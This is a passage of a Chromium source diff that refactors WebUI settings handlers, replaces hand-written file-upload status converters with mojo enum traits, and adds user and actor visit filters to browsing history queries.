 #include "chromeos/ash/components/dbus/printscanmgr/printscanmgr_client.h"
 #include "chromeos/printing/cups_printer_status.h"
 #include "chromeos/printing/ppd_provider.h"
 #include "chromeos/printing/printer_configuration.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "printing/printer_query_result.h"
 #include "ui/shell_dialogs/select_file_dialog.h"
 
@@ -49,7 +49,7 @@
 namespace settings {
 
 // Chrome OS CUPS printing settings page UI handler.
-class CupsPrintersHandler : public ::settings::SettingsPageUIHandler,
+class CupsPrintersHandler : public content::WebUIMessageHandler,
                             public ui::SelectFileDialog::Listener,
                             public CupsPrintersManager::Observer,
                             public CupsPrintersManager::LocalPrintersObserver {
@@ -66,7 +66,7 @@
 
   ~CupsPrintersHandler() override;
 
-  // SettingsPageUIHandler overrides:
+  // content::WebUIMessageHandler overrides:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/privacy/metrics_consent_handler.h b/chrome/browser/ui/webui/ash/settings/pages/privacy/metrics_consent_handler.h
index 0531f1c..85cdd92 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/privacy/metrics_consent_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/privacy/metrics_consent_handler.h
@@ -8,16 +8,16 @@
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
 #include "chrome/browser/profiles/profile.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/metrics/metrics_service.h"
 #include "components/user_manager/user_manager.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
 class TestMetricsConsentHandler;
 
 // Handler for fetching and updating metrics consent.
-class MetricsConsentHandler : public ::settings::SettingsPageUIHandler {
+class MetricsConsentHandler : public content::WebUIMessageHandler {
  public:
   // Message names sent to WebUI for handling metric consent.
   static const char kGetMetricsConsentState[];
@@ -32,7 +32,7 @@
 
   ~MetricsConsentHandler() override;
 
-  // SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/privacy/peripheral_data_access_handler.h b/chrome/browser/ui/webui/ash/settings/pages/privacy/peripheral_data_access_handler.h
index 2d142f85..44a8f6dd 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/privacy/peripheral_data_access_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/privacy/peripheral_data_access_handler.h
@@ -7,13 +7,13 @@
 
 #include "base/callback_list.h"
 #include "base/memory/weak_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
-class PeripheralDataAccessHandler : public ::settings::SettingsPageUIHandler {
+class PeripheralDataAccessHandler : public content::WebUIMessageHandler {
  public:
   static bool GetPrefState();
 
@@ -24,7 +24,7 @@
   PeripheralDataAccessHandler& operator=(const PeripheralDataAccessHandler&) =
       delete;
 
-  // SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/storage/device_storage_handler.h b/chrome/browser/ui/webui/ash/settings/pages/storage/device_storage_handler.h
index 968b73f35..cb2449f8 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/storage/device_storage_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/storage/device_storage_handler.h
@@ -13,9 +13,9 @@
 #include "chrome/browser/ash/arc/session/arc_session_manager.h"
 #include "chrome/browser/ash/arc/session/arc_session_manager_observer.h"
 #include "chrome/browser/ui/webui/ash/settings/calculator/size_calculator.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/dbus/cros_disks/cros_disks_client.h"
 #include "chromeos/ash/components/disks/disk_mount_manager.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
@@ -43,7 +43,7 @@
 // Threshold to show a message indicating space is low (1 GB).
 inline constexpr int64_t kSpaceLowBytes = 1 * 1024 * 1024 * 1024;
 
-class StorageHandler : public ::settings::SettingsPageUIHandler,
+class StorageHandler : public content::WebUIMessageHandler,
                        public arc::ArcSessionManagerObserver,
                        public disks::DiskMountManager::Observer,
                        public SizeCalculator::Observer {
@@ -55,7 +55,7 @@
 
   ~StorageHandler() override;
 
-  // ::settings::SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/services/settings_manager/os_settings_manager.h b/chrome/browser/ui/webui/ash/settings/services/settings_manager/os_settings_manager.h
index 6088176..06821a3 100644
--- a/chrome/browser/ui/webui/ash/settings/services/settings_manager/os_settings_manager.h
+++ b/chrome/browser/ui/webui/ash/settings/services/settings_manager/os_settings_manager.h
@@ -82,7 +82,7 @@
 //     flags passed as booleans.
 //
 // (3) Add logic supporting message-passing between the browser process (C++)
-//     and the settings app (JS), via SettingsPageUIHandler objects.
+//     and the settings app (JS), via content::WebUIMessageHandler objects.
 class OsSettingsManager : public KeyedService {
  public:
   OsSettingsManager(
@@ -106,7 +106,7 @@
   // function.
   void AddLoadTimeData(content::WebUIDataSource* html_source);
 
-  // Adds SettingsPageUIHandlers to an OS settings instance.
+  // Adds content::WebUIMessageHandlers to an OS settings instance.
   void AddHandlers(content::WebUI* web_ui);
 
   AppNotificationHandler* app_notification_handler() {
diff --git a/chrome/browser/ui/webui/cr_components/history/history_util.cc b/chrome/browser/ui/webui/cr_components/history/history_util.cc
index 86d1497..ebb7b1f5 100644
--- a/chrome/browser/ui/webui/cr_components/history/history_util.cc
+++ b/chrome/browser/ui/webui/cr_components/history/history_util.cc
@@ -35,6 +35,7 @@
   static constexpr webui::LocalizedString kStrings[] = {
       // Localized strings (alphabetical order).
       {"actionMenuDescription", IDS_HISTORY_ACTION_MENU_DESCRIPTION},
+      {"actorTaskTooltip", IDS_HISTORY_ACTOR_TASK_TOOLTIP},
       {"ariaRoleDescription", IDS_HISTORY_ARIA_ROLE_DESCRIPTION},
       {"bookmarked", IDS_HISTORY_ENTRY_BOOKMARKED},
       {"cancel", IDS_CANCEL},
@@ -50,7 +51,6 @@
       {"entrySummary", IDS_HISTORY_ENTRY_SUMMARY},
       {"expandSessionButton", IDS_HISTORY_OTHER_SESSIONS_EXPAND_SESSION},
       {"foundSearchResults", IDS_HISTORY_FOUND_SEARCH_RESULTS},
-      {"actorTaskTooltip", IDS_ACTOR_TASK},
       {"historyMenuButton", IDS_HISTORY_HISTORY_MENU_DESCRIPTION},
       {"historyMenuItem", IDS_HISTORY_HISTORY_MENU_ITEM},
       {"itemsSelected", IDS_HISTORY_ITEMS_SELECTED},
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/BUILD.gn b/chrome/browser/ui/webui/cr_components/searchbox/BUILD.gn
index bd867c6d..75d63ac 100644
--- a/chrome/browser/ui/webui/cr_components/searchbox/BUILD.gn
+++ b/chrome/browser/ui/webui/cr_components/searchbox/BUILD.gn
@@ -6,7 +6,6 @@
 
 source_set("searchbox") {
   sources = [
-    "contextual_search_type_converters.h",
     "contextual_searchbox_handler.h",
     "searchbox_handler.h",
     "searchbox_omnibox_client.h",
@@ -32,7 +31,6 @@
 
 source_set("searchbox_impl") {
   sources = [
-    "contextual_search_type_converters.cc",
     "contextual_searchbox_handler.cc",
     "searchbox_handler.cc",
     "searchbox_omnibox_client.cc",
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.cc b/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.cc
deleted file mode 100644
index babbf22..0000000
--- a/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.cc
+++ /dev/null
@@ -1,99 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.h"
-
-#include "components/contextual_search/input_state_model.h"
-#include "components/omnibox/composebox/composebox_query.mojom.h"
-#include "components/omnibox/composebox/contextual_search_mojom_traits.h"
-
-namespace contextual_search {
-
-composebox_query::mojom::FileUploadStatus ToMojom(FileUploadStatus status) {
-  switch (status) {
-    case FileUploadStatus::kNotUploaded:
-      return composebox_query::mojom::FileUploadStatus::kNotUploaded;
-    case FileUploadStatus::kProcessing:
-      return composebox_query::mojom::FileUploadStatus::kProcessing;
-    case FileUploadStatus::kValidationFailed:
-      return composebox_query::mojom::FileUploadStatus::kValidationFailed;
-    case FileUploadStatus::kUploadStarted:
-      return composebox_query::mojom::FileUploadStatus::kUploadStarted;
-    case FileUploadStatus::kUploadSuccessful:
-      return composebox_query::mojom::FileUploadStatus::kUploadSuccessful;
-    case FileUploadStatus::kUploadFailed:
-      return composebox_query::mojom::FileUploadStatus::kUploadFailed;
-    case FileUploadStatus::kUploadExpired:
-      return composebox_query::mojom::FileUploadStatus::kUploadExpired;
-    case FileUploadStatus::kProcessingSuggestSignalsReady:
-      return composebox_query::mojom::FileUploadStatus::
-          kProcessingSuggestSignalsReady;
-  }
-}
-
-FileUploadStatus FromMojom(composebox_query::mojom::FileUploadStatus status) {
-  switch (status) {
-    case composebox_query::mojom::FileUploadStatus::kNotUploaded:
-      return FileUploadStatus::kNotUploaded;
-    case composebox_query::mojom::FileUploadStatus::kProcessing:
-      return FileUploadStatus::kProcessing;
-    case composebox_query::mojom::FileUploadStatus::kValidationFailed:
-      return FileUploadStatus::kValidationFailed;
-    case composebox_query::mojom::FileUploadStatus::kUploadStarted:
-      return FileUploadStatus::kUploadStarted;
-    case composebox_query::mojom::FileUploadStatus::kUploadSuccessful:
-      return FileUploadStatus::kUploadSuccessful;
-    case composebox_query::mojom::FileUploadStatus::kUploadFailed:
-      return FileUploadStatus::kUploadFailed;
-    case composebox_query::mojom::FileUploadStatus::kUploadExpired:
-      return FileUploadStatus::kUploadExpired;
-    case composebox_query::mojom::FileUploadStatus::
-        kProcessingSuggestSignalsReady:
-      return FileUploadStatus::kProcessingSuggestSignalsReady;
-  }
-}
-
-composebox_query::mojom::FileUploadErrorType ToMojom(FileUploadErrorType type) {
-  switch (type) {
-    case FileUploadErrorType::kUnknown:
-      return composebox_query::mojom::FileUploadErrorType::kUnknown;
-    case FileUploadErrorType::kBrowserProcessingError:
-      return composebox_query::mojom::FileUploadErrorType::
-          kBrowserProcessingError;
-    case FileUploadErrorType::kNetworkError:
-      return composebox_query::mojom::FileUploadErrorType::kNetworkError;
-    case FileUploadErrorType::kServerError:
-      return composebox_query::mojom::FileUploadErrorType::kServerError;
-    case FileUploadErrorType::kServerSizeLimitExceeded:
-      return composebox_query::mojom::FileUploadErrorType::
-          kServerSizeLimitExceeded;
-    case FileUploadErrorType::kAborted:
-      return composebox_query::mojom::FileUploadErrorType::kAborted;
-    case FileUploadErrorType::kImageProcessingError:
-      return composebox_query::mojom::FileUploadErrorType::
-          kImageProcessingError;
-  }
-}
-
-FileUploadErrorType FromMojom(
-    composebox_query::mojom::FileUploadErrorType type) {
-  switch (type) {
-    case composebox_query::mojom::FileUploadErrorType::kUnknown:
-      return FileUploadErrorType::kUnknown;
-    case composebox_query::mojom::FileUploadErrorType::kBrowserProcessingError:
-      return FileUploadErrorType::kBrowserProcessingError;
-    case composebox_query::mojom::FileUploadErrorType::kNetworkError:
-      return FileUploadErrorType::kNetworkError;
-    case composebox_query::mojom::FileUploadErrorType::kServerError:
-      return FileUploadErrorType::kServerError;
-    case composebox_query::mojom::FileUploadErrorType::kServerSizeLimitExceeded:
-      return FileUploadErrorType::kServerSizeLimitExceeded;
-    case composebox_query::mojom::FileUploadErrorType::kAborted:
-      return FileUploadErrorType::kAborted;
-    case composebox_query::mojom::FileUploadErrorType::kImageProcessingError:
-      return FileUploadErrorType::kImageProcessingError;
-  }
-}
-
-}  // namespace contextual_search
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.h b/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.h
deleted file mode 100644
index f47c90f..0000000
--- a/chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.h
+++ /dev/null
@@ -1,23 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CHROME_BROWSER_UI_WEBUI_CR_COMPONENTS_SEARCHBOX_CONTEXTUAL_SEARCH_TYPE_CONVERTERS_H_
-#define CHROME_BROWSER_UI_WEBUI_CR_COMPONENTS_SEARCHBOX_CONTEXTUAL_SEARCH_TYPE_CONVERTERS_H_
-
-#include "components/contextual_search/contextual_search_types.h"
-#include "components/contextual_search/input_state_model.h"
-#include "components/omnibox/composebox/composebox_query.mojom-forward.h"
-
-namespace contextual_search {
-
-composebox_query::mojom::FileUploadStatus ToMojom(FileUploadStatus status);
-FileUploadStatus FromMojom(composebox_query::mojom::FileUploadStatus status);
-
-composebox_query::mojom::FileUploadErrorType ToMojom(FileUploadErrorType type);
-FileUploadErrorType FromMojom(
-    composebox_query::mojom::FileUploadErrorType type);
-
-}  // namespace contextual_search
-
-#endif  // CHROME_BROWSER_UI_WEBUI_CR_COMPONENTS_SEARCHBOX_CONTEXTUAL_SEARCH_TYPE_CONVERTERS_H_
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.cc b/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.cc
index f9bb1ed..d16162fd 100644
--- a/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.cc
+++ b/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.cc
@@ -709,11 +709,8 @@
     contextual_search::FileUploadStatus file_upload_status,
     const std::optional<contextual_search::FileUploadErrorType>& error_type) {
   if (IsRemoteBound()) {
-    page_->OnContextualInputStatusChanged(
-        file_token, contextual_search::ToMojom(file_upload_status),
-        error_type.has_value()
-            ? std::make_optional(contextual_search::ToMojom(error_type.value()))
-            : std::nullopt);
+    page_->OnContextualInputStatusChanged(file_token, file_upload_status,
+                                          error_type);
   }
 
   // Ensure `input_state_model_` is updated when file is uploaded.
@@ -823,9 +820,7 @@
   tab_context_snapshot_.emplace(context_token, std::move(page_content_data));
 
   page_->OnContextualInputStatusChanged(
-      context_token,
-      contextual_search::ToMojom(
-          contextual_search::FileUploadStatus::kProcessing),
+      context_token, contextual_search::FileUploadStatus::kProcessing,
       std::nullopt);
 }
 
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.h b/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.h
index 05ca12a..2d2ccd82 100644
--- a/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.h
+++ b/chrome/browser/ui/webui/cr_components/searchbox/contextual_searchbox_handler.h
@@ -18,7 +18,6 @@
 #include "base/unguessable_token.h"
 #include "chrome/browser/ui/omnibox/omnibox_controller.h"
 #include "chrome/browser/ui/tabs/tab_strip_model_observer.h"
-#include "chrome/browser/ui/webui/cr_components/searchbox/contextual_search_type_converters.h"
 #include "chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h"
 #include "chrome/browser/ui/webui/cr_components/searchbox/searchbox_omnibox_client.h"
 #include "components/contextual_search/contextual_search_context_controller.h"
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.cc b/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.cc
index 7f3456b..648f4b29 100644
--- a/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.cc
+++ b/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.cc
@@ -34,6 +34,7 @@
 #include "chrome/grit/branded_strings.h"
 #include "chrome/grit/generated_resources.h"
 #include "components/bookmarks/browser/bookmark_model.h"
+#include "components/omnibox/browser/aim_eligibility_service_features.h"
 #include "components/omnibox/browser/autocomplete_match.h"
 #include "components/omnibox/browser/autocomplete_result.h"
 #include "components/omnibox/browser/omnibox_client.h"
@@ -437,6 +438,8 @@
           composebox_config.entry_point().num_page_load_animations());
   source->AddBoolean("contextualMenuShowModelPicker",
                      ntp_composebox::kShowModelPicker.Get());
+  source->AddBoolean("contextualMenuUsePecApi",
+                     base::FeatureList::IsEnabled(omnibox::kAimUsePecApi));
   source->AddBoolean("ShowContextMenuHeaders",
                      ntp_composebox::kShowContextMenuHeaders.Get());
 }
@@ -834,8 +837,8 @@
 
 void SearchboxHandler::OnContextualInputStatusChanged(
     base::UnguessableToken token,
-    composebox_query::mojom::FileUploadStatus status,
-    std::optional<composebox_query::mojom::FileUploadErrorType> error_type) {
+    contextual_search::FileUploadStatus status,
+    std::optional<contextual_search::FileUploadErrorType> error_type) {
   if (page_ && IsRemoteBound()) {
     page_->OnContextualInputStatusChanged(token, status, error_type);
   }
diff --git a/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h b/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h
index 1c6e82a..ed690204 100644
--- a/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h
+++ b/chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h
@@ -12,6 +12,7 @@
 #include "base/memory/raw_ptr.h"
 #include "base/scoped_observation.h"
 #include "base/time/time.h"
+#include "components/contextual_search/contextual_search_types.h"
 #include "components/omnibox/browser/autocomplete_controller.h"
 #include "components/omnibox/browser/searchbox.mojom.h"
 #include "components/omnibox/common/input_state.h"
@@ -68,8 +69,8 @@
   // Notifies the WebUI that the contextual input status has changed.
   void OnContextualInputStatusChanged(
       base::UnguessableToken token,
-      composebox_query::mojom::FileUploadStatus status,
-      std::optional<composebox_query::mojom::FileUploadErrorType> error_type);
+      contextual_search::FileUploadStatus status,
+      std::optional<contextual_search::FileUploadErrorType> error_type);
 
   // AutocompleteController::Observer:
   void OnResultChanged(AutocompleteController* controller,
diff --git a/chrome/browser/ui/webui/history/browsing_history_handler.cc b/chrome/browser/ui/webui/history/browsing_history_handler.cc
index e812dc4..ccabcb1 100644
--- a/chrome/browser/ui/webui/history/browsing_history_handler.cc
+++ b/chrome/browser/ui/webui/history/browsing_history_handler.cc
@@ -430,12 +430,14 @@
       this, local_history, sync_service);
 
   // 150 = RESULTS_PER_PAGE from chrome/browser/resources/history/constants.js
-  SendHistoryQuery(150, std::string(), std::nullopt);
+  SendHistoryQuery(150, std::string(), std::nullopt, true, true);
 }
 
 void BrowsingHistoryHandler::QueryHistory(const std::string& query,
                                           int max_count,
                                           std::optional<double> begin_timestamp,
+                                          bool include_user_visits,
+                                          bool include_actor_visits,
                                           QueryHistoryCallback callback) {
   if (!browsing_history_service_) {
     // Page was refreshed, so need to call StartQueryHistory here
@@ -454,18 +456,22 @@
 
   query_history_callback_ = std::move(callback);
 
-  SendHistoryQuery(max_count, query, begin_timestamp);
+  SendHistoryQuery(max_count, query, begin_timestamp, include_user_visits,
+                   include_actor_visits);
 }
 
 void BrowsingHistoryHandler::SendHistoryQuery(
     int max_count,
     const std::string& query,
-    std::optional<double> begin_timestamp) {
+    std::optional<double> begin_timestamp,
+    bool include_user_visits,
+    bool include_actor_visits) {
   history::QueryOptions options;
   options.max_count = max_count;
   options.policy_for_404_visits = history::VisitQuery404sPolicy::kExclude404s;
   options.duplicate_policy = history::QueryOptions::REMOVE_DUPLICATES_PER_DAY;
-  options.include_actor_visits = true;
+  options.include_actor_visits = include_actor_visits;
+  options.include_user_visits = include_user_visits;
   std::string query_without_prefix = query;
 
   const std::string kHostPrefix = "host:";
diff --git a/chrome/browser/ui/webui/history/browsing_history_handler.h b/chrome/browser/ui/webui/history/browsing_history_handler.h
index 02a27ed..67c60c44 100644
--- a/chrome/browser/ui/webui/history/browsing_history_handler.h
+++ b/chrome/browser/ui/webui/history/browsing_history_handler.h
@@ -61,6 +61,8 @@
   void QueryHistory(const std::string& query,
                     int max_count,
                     std::optional<double> begin_timestamp,
+                    bool include_user_visits,
+                    bool include_actor_visits,
                     QueryHistoryCallback callback) override;
 
   void QueryHistoryContinuation(
@@ -122,7 +124,9 @@
  protected:
   virtual void SendHistoryQuery(int count,
                                 const std::string& query,
-                                std::optional<double> begin_timestamp);
+                                std::optional<double> begin_timestamp,
+                                bool include_user_visits,
+                                bool include_actor_visits);
 
  private:
   FRIEND_TEST_ALL_PREFIXES(BrowsingHistoryHandlerTest,
diff --git a/chrome/browser/ui/webui/history/browsing_history_handler_unittest.cc b/chrome/browser/ui/webui/history/browsing_history_handler_unittest.cc
index a50a447..3af96b8 100644
--- a/chrome/browser/ui/webui/history/browsing_history_handler_unittest.cc
+++ b/chrome/browser/ui/webui/history/browsing_history_handler_unittest.cc
@@ -163,7 +163,8 @@
                 /*host_only=*/options.host_only,
                 /*visit_order=*/options.visit_order,
                 /*app_id=*/options.app_id,
-                /*include_actor_visits=*/true)))
+                /*include_actor_visits=*/true,
+                /*include_user_visits=*/true)))
         .Times(1)
         .WillOnce([&, mock_results](const std::u16string& search_text,
                                     const QueryOptions& options) {
@@ -194,7 +195,7 @@
     mojom::QueryResultPtr history_query_results;
     base::RunLoop run_loop;
     handler_->QueryHistory(
-        query, 150, begin_timestamp,
+        query, 150, begin_timestamp, true, true,
         base::BindLambdaForTesting([&](history::mojom::QueryResultPtr result) {
           history_query_results = std::move(result);
           run_loop.Quit();
diff --git a/chrome/browser/ui/webui/new_tab_page/new_tab_page_ui.cc b/chrome/browser/ui/webui/new_tab_page/new_tab_page_ui.cc
index beca5036..01efae80 100644
--- a/chrome/browser/ui/webui/new_tab_page/new_tab_page_ui.cc
+++ b/chrome/browser/ui/webui/new_tab_page/new_tab_page_ui.cc
@@ -96,6 +96,8 @@
 #include "components/google/core/common/google_util.h"
 #include "components/grit/components_scaled_resources.h"
 #include "components/history_clusters/core/features.h"
+#include "components/lens/lens_overlay_invocation_source.h"
+#include "components/lens/lens_url_utils.h"
 #include "components/ntp_tiles/features.h"
 #include "components/ntp_tiles/most_visited_sites.h"
 #include "components/ntp_tiles/pref_names.h"
@@ -208,6 +210,9 @@
       base::NumberToString(omnibox::DESKTOP_CHROME_NTP_THREADS_ENTRY_POINT));
   threads_url =
       net::AppendQueryParameter(threads_url, "atvm", kAIMThreadsVisibilityMode);
+  threads_url = lens::AppendInvocationSourceParamToURL(
+      threads_url, lens::LensOverlayInvocationSource::kNtpContextualQuery,
+      /*is_contextual_tasks=*/true);
   source->AddString("threadsUrl", threads_url.spec());
 
   source->AddInteger(
diff --git a/chrome/browser/ui/webui/profile_helper_browsertest.cc b/chrome/browser/ui/webui/profile_helper_browsertest.cc
index 0b04ab8..d0f7596 100644
--- a/chrome/browser/ui/webui/profile_helper_browsertest.cc
+++ b/chrome/browser/ui/webui/profile_helper_browsertest.cc
@@ -173,10 +173,11 @@
   EXPECT_EQ(1u, storage.GetNumberOfProfiles());
 
   // Original browser will be closed, and browser with the new profile created.
-  BrowserCreatedObserver created_observer;
+  ui_test_utils::BrowserCreatedObserver created_observer;
+  ui_test_utils::BrowserDestroyedObserver destroyed_observer(original_browser);
   webui::DeleteProfileAtPath(original_browser->GetProfile()->GetPath(),
                              ProfileMetrics::DELETE_PROFILE_SETTINGS);
-  ui_test_utils::WaitForBrowserToClose(original_browser);
+  destroyed_observer.Wait();
   BrowserWindowInterface* new_browser = created_observer.Wait();
 
   content::RunAllTasksUntilIdle();
@@ -202,9 +203,10 @@
   EXPECT_EQ(2u, storage.GetNumberOfProfiles());
 
   // Original browser will be closed, and browser with the new profile created.
+  ui_test_utils::BrowserDestroyedObserver observer(original_browser);
   webui::DeleteProfileAtPath(original_browser->GetProfile()->GetPath(),
                              ProfileMetrics::DELETE_PROFILE_SETTINGS);
-  ui_test_utils::WaitForBrowserToClose(original_browser);
+  observer.Wait();
 
   EXPECT_EQ(1u, chrome::GetTotalBrowserCount());
   BrowserWindowInterface* const additional_browser =
diff --git a/chrome/browser/ui/webui/searchbox/contextual_searchbox_handler_unittest.cc b/chrome/browser/ui/webui/searchbox/contextual_searchbox_handler_unittest.cc
index 65e3f4a..8cf0cb1 100644
--- a/chrome/browser/ui/webui/searchbox/contextual_searchbox_handler_unittest.cc
+++ b/chrome/browser/ui/webui/searchbox/contextual_searchbox_handler_unittest.cc
@@ -673,7 +673,7 @@
   tabs::TabInterface* tab = AddTab(sample_url);
   const int sample_tab_id = tab->GetHandle().raw_value();
 
-  composebox_query::mojom::FileUploadStatus status;
+  contextual_search::FileUploadStatus status;
 
   tabs::TabFeatures* tab_features = tab->GetTabFeatures();
   MockTabContextualizationController* tab_contextualization_controller =
@@ -698,11 +698,12 @@
   EXPECT_CALL(mock_searchbox_page_, OnContextualInputStatusChanged)
       .Times(1)
       .WillOnce(
-          [&status](
-              const base::UnguessableToken& file_token,
-              composebox_query::mojom::FileUploadStatus file_upload_status,
-              std::optional<composebox_query::mojom::FileUploadErrorType>
-                  file_upload_error_type) { status = file_upload_status; });
+          [&status](const base::UnguessableToken& file_token,
+                    contextual_search::FileUploadStatus file_upload_status,
+                    std::optional<contextual_search::FileUploadErrorType>
+                        file_upload_error_type) {
+            status = file_upload_status;
+          });
   EXPECT_CALL(mock_searchbox_page_, OnInputStateChanged).Times(1);
 
   base::MockCallback<ComposeboxHandler::AddTabContextCallback> callback;
@@ -720,7 +721,7 @@
   // Assert
   ASSERT_TRUE(handler().tab_context_snapshot_.has_value());
   ASSERT_TRUE(handler().context_input_data().has_value());
-  ASSERT_EQ(composebox_query::mojom::FileUploadStatus::kProcessing, status);
+  ASSERT_EQ(contextual_search::FileUploadStatus::kProcessing, status);
 }
 
 TEST_F(ContextualSearchboxHandlerTestTabsTest, DeleteContext_DelayUpload) {
@@ -1250,25 +1251,30 @@
 
 TEST_P(ContextualSearchboxHandlerFileUploadStatusTest,
        OnFileUploadStatusChanged) {
-  composebox_query::mojom::FileUploadStatus status;
+  contextual_search::FileUploadStatus status;
   EXPECT_CALL(mock_searchbox_page_, OnContextualInputStatusChanged)
       .Times(1)
       .WillOnce(
-          [&status](
-              const base::UnguessableToken& file_token,
-              composebox_query::mojom::FileUploadStatus file_upload_status,
-              std::optional<composebox_query::mojom::FileUploadErrorType>
-                  file_upload_error_type) { status = file_upload_status; });
+          [&status](const base::UnguessableToken& file_token,
+                    contextual_search::FileUploadStatus file_upload_status,
+                    std::optional<contextual_search::FileUploadErrorType>
+                        file_upload_error_type) {
+            status = file_upload_status;
+          });
   EXPECT_CALL(mock_searchbox_page_, OnInputStateChanged).Times(1);
 
   const auto expected_status = GetParam();
+  contextual_search::FileUploadStatus status_cpp;
+  EXPECT_TRUE((mojo::EnumTraits<
+               composebox_query::mojom::FileUploadStatus,
+               contextual_search::FileUploadStatus>::FromMojom(expected_status,
+                                                               &status_cpp)));
   base::UnguessableToken token = base::UnguessableToken::Create();
-  handler().OnFileUploadStatusChanged(
-      token, lens::MimeType::kPdf,
-      contextual_search::FromMojom(expected_status), std::nullopt);
+  handler().OnFileUploadStatusChanged(token, lens::MimeType::kPdf, status_cpp,
+                                      std::nullopt);
   mock_searchbox_page_.FlushForTesting();
 
-  EXPECT_EQ(expected_status, status);
+  EXPECT_EQ(status_cpp, status);
 }
 
 INSTANTIATE_TEST_SUITE_P(
diff --git a/chrome/browser/ui/webui/searchbox/realbox_handler_browsertest.cc b/chrome/browser/ui/webui/searchbox/realbox_handler_browsertest.cc
index 8c66f93c..a0a2e26f 100644
--- a/chrome/browser/ui/webui/searchbox/realbox_handler_browsertest.cc
+++ b/chrome/browser/ui/webui/searchbox/realbox_handler_browsertest.cc
@@ -34,6 +34,7 @@
 #include "chrome/browser/ui/webui/searchbox/searchbox_test_utils.h"
 #include "chrome/test/base/in_process_browser_test.h"
 #include "chrome/test/base/ui_test_utils.h"
+#include "components/contextual_search/contextual_search_types.h"
 #include "components/omnibox/browser/actions/history_clusters_action.h"
 #include "components/omnibox/browser/actions/omnibox_action.h"
 #include "components/omnibox/browser/actions/omnibox_pedal.h"
@@ -78,8 +79,8 @@
                     bool is_deletable) override {}
   void OnContextualInputStatusChanged(
       const base::UnguessableToken& token,
-      composebox_query::mojom::FileUploadStatus status,
-      std::optional<composebox_query::mojom::FileUploadErrorType> error_type)
+      contextual_search::FileUploadStatus status,
+      std::optional<contextual_search::FileUploadErrorType> error_type)
       override {}
   void OnInputStateChanged(const omnibox::InputState& input_state) override {}
   void OnTabStripChanged() override {}
diff --git a/chrome/browser/ui/webui/searchbox/searchbox_test_utils.h b/chrome/browser/ui/webui/searchbox/searchbox_test_utils.h
index be7baa4..c43e8eb 100644
--- a/chrome/browser/ui/webui/searchbox/searchbox_test_utils.h
+++ b/chrome/browser/ui/webui/searchbox/searchbox_test_utils.h
@@ -11,6 +11,7 @@
 #include "chrome/browser/ui/omnibox/test_omnibox_edit_model.h"
 #include "chrome/browser/ui/webui/cr_components/searchbox/searchbox_handler.h"
 #include "chrome/browser/ui/webui/searchbox/lens_searchbox_client.h"
+#include "components/contextual_search/contextual_search_types.h"
 #include "components/omnibox/browser/autocomplete_controller.h"
 #include "components/omnibox/browser/mock_autocomplete_provider_client.h"
 #include "components/omnibox/browser/searchbox.mojom.h"
@@ -69,8 +70,8 @@
   MOCK_METHOD(void,
               OnContextualInputStatusChanged,
               (const base::UnguessableToken&,
-               composebox_query::mojom::FileUploadStatus,
-               std::optional<composebox_query::mojom::FileUploadErrorType>));
+               contextual_search::FileUploadStatus,
+               std::optional<contextual_search::FileUploadErrorType>));
   MOCK_METHOD(void, OnTabStripChanged, ());
